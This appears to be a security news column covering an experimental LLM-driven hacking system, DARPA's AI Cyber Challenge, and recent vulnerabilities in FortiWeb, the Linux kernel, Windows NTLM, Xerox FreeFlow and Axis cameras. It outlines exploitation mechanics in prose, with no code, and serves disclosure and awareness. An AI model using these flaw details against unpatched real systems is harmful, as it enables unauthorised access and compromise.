One of the hot topics currently is using LLMs for security research. Poor quality reports written by LLMs have become the bane of vulnerability disclosure programs. But there is an equally interesting effort going on to put LLMs to work doing actually useful research. One such story is [Romy Haik] at ULTRARED, trying to build an AI Hacker. This isn’t an over-eager newbie naively asking an AI to find vulnerabilities, [Romy] knows what he’s doing. We know this because he tells us plainly that the LLM-driven hacker failed spectacularly.

The plan was to build a multi-LLM orchestra, with a single AI sitting at the top that maintains state through the entire process. Multiple LLMs sit below that one, deciding what to do next, exactly how to approach the problem, and actually generating commands for those tools. Then yet another AI takes the output and figures out if the attack was successful. The tooling was assembled, and [Romy] set it loose on a few intentionally vulnerable VMs.

As we hinted at up above, the results were fascinating but dismal. This LLM successfully found one Remote Code Execution (RCE), one SQL injection, and three Cross-Site Scripting (XSS) flaws. This whole post is sort of sneakily an advertisement for ULTRARED’s actual automated scanner, that uses more conventional methods for scanning for vulnerabilities. But it’s a useful comparison, and it found nearly 100 vulnerabilities among the collection of targets.

The AI did what you’d expect, finding plenty of false positives. Ask an AI to describe a vulnerability, and it will glad do so — no real vulnerability required. But the real problem was the multitude of times that the AI stack did demonstrate a problem, and failed to realize it. [Romy] has thoughts on why this attempt failed, and two points stand out. The first is that while the LLM can be creative in making attacks, it’s really terrible at accurately analyzing the results. The second observation is one of the most important observations to keep in mind regarding today’s AIs. It doesn’t actually want to find a vulnerability. One of the marks of security researchers is the near obsession they have with finding a great score.

DARPA

Don’t take the previous story to mean that AI will never be able do vulnerability research, or even that it’s not a useful tool right now. The US DARPA sponsored a competition at this year’s DEF CON, and another security professional pointed out that Buttercup AI Cyber REasoning System (CRS) is the second place winner. It’s now available as an Open Source project.

This challenge was a bit different from an open-ended attack on a VM. In the DARPA challenge, the AI tools are given specific challenges, and a C or Java codebase, and told to look for problems. Buttercup uses an AI-guided fuzzing approach, and one of the notable advantages with this challenge is that often times a vulnerability will cause an outright crash in the program, and that’s hard to miss, even for an AI.

Team Atlanta took first place, and has some notes on their process. Their first-place finish was almost derailed from the start, due to a path checking rule to comply with contest rules. The AI tools were provided fuzzing harnesses that they were not allowed to modify, and the end goal was for the AIs to actually write patches to fix the issues found. All of the challenges were delivered inside directories containing ossfuzz, triggering the code that protected against breaking the no modification rules. A hasty code hacking session right at the last moment managed to clear this, and saved the entire competition.

FortMajeure

We have this write-up from [0x_shaq], finding a very fun authentication bypass in FortiWeb. The core problem is the lack of validation on part of the session cookie. This cookie has a couple of sections that we care about. The Era field is a single digit integer that seems to indicate a protocol version or session type, while the Payload and AuthHash fields are the encrypted session information and signed hash for verification.

That Era field is only ever expected to be a 0 or a 1, but the underlying code processes the other eight possible values the same way: by accessing the nth element of an array, even if the array doesn’t actually have that many initialized elements. And one of the things that array will contain is the encryption/signing key for the session cookie. This uninitialized memory is likely to be mostly or entirely nulls, making for a very predictable session key.

Project Zero

Google has a couple interesting items on their Project Zero blog. The first is from late July, and outlines a trial change to disclosure timelines. The problem here is that a 90 day disclosure gives the immediate vendor plenty of time to patch an issue, but even with a 30 day extension, it’s a race for all of the downstream users to apply, test, and distribute the fix. The new idea is to add a one week vulnerability pre-disclosure. One week after a vulnerability is found, it’s existence is added to the chart of upcoming releases. So if you ship Dolby’s Unified Decoder in a project or product, mark your calendar for September 25, among the other dozen or so pre-released vulnerabilities.

The second item from Project Zero is a vulnerability found in Linux, that could be triggered from within the Chrome renderer sandbox. At the heart of the matter is the Out Of Band byte that could be sent as a part of Unix Sockets. This is a particularly obscure feature, and yet enabled by default, which is a great combination for security research.

The kernel logic for this feature could get confused when dealing with multiples of these one-byte messages, and eventually free kernel memory while a pointer is still pointing to it. Use the recv() syscall again on that socket, and the freed memory is accessed. This results in a very nice kernel memory read primitive, but also a very constrained write primitive. In this case, it’s to increment a single byte, 0x44 bytes into the now-freed data structure. Turning this into a working exploit was challenging but doable, and mainly consisted of constructing a fake object in user-controlled memory, triggering the increment, and then using the socket again to coerce the kernel into using the fake object.

Bits and Bytes

Cymulate has the story of a Microsoft NTLM patch that wasn’t quite enough. The original problem was that a Windows machine could be convinced to connect to a remote NTLM server to retrieve a .ico file. The same bug can be triggered by creating a shortcut that implies the .ico is embedded inside the target binary itself, and put that on a remote SMB share. It’s particularly bad because this one will acess the server, and leak the NTLM hash, just by displaying the icon on the decktop.

Xerox FreeFlow Core had a pair of exploits, the more serious of which could enable an unauthenticated RCE. The first is an XML External Entity (XXE) injection issue, where a user request could result in the server fetching remote content while processing the request. The more serious is a simple file upload with path traversal, making for an easy webshell dropper.

Claroty’s Team82 dug into the Axis Communications protocol for controlling security cameras, and found some interesting items. The Axis.Remoting protocol uses mutual TLS, which is good. But those are self-signed certificates that never validated, allowing for trivial man in the middle. The most serious issue was a JSON deserialization vulnerability, allowing for RCE on the service itself. Patches are available, and are particularly important for Axis systems that are available on the open Internet.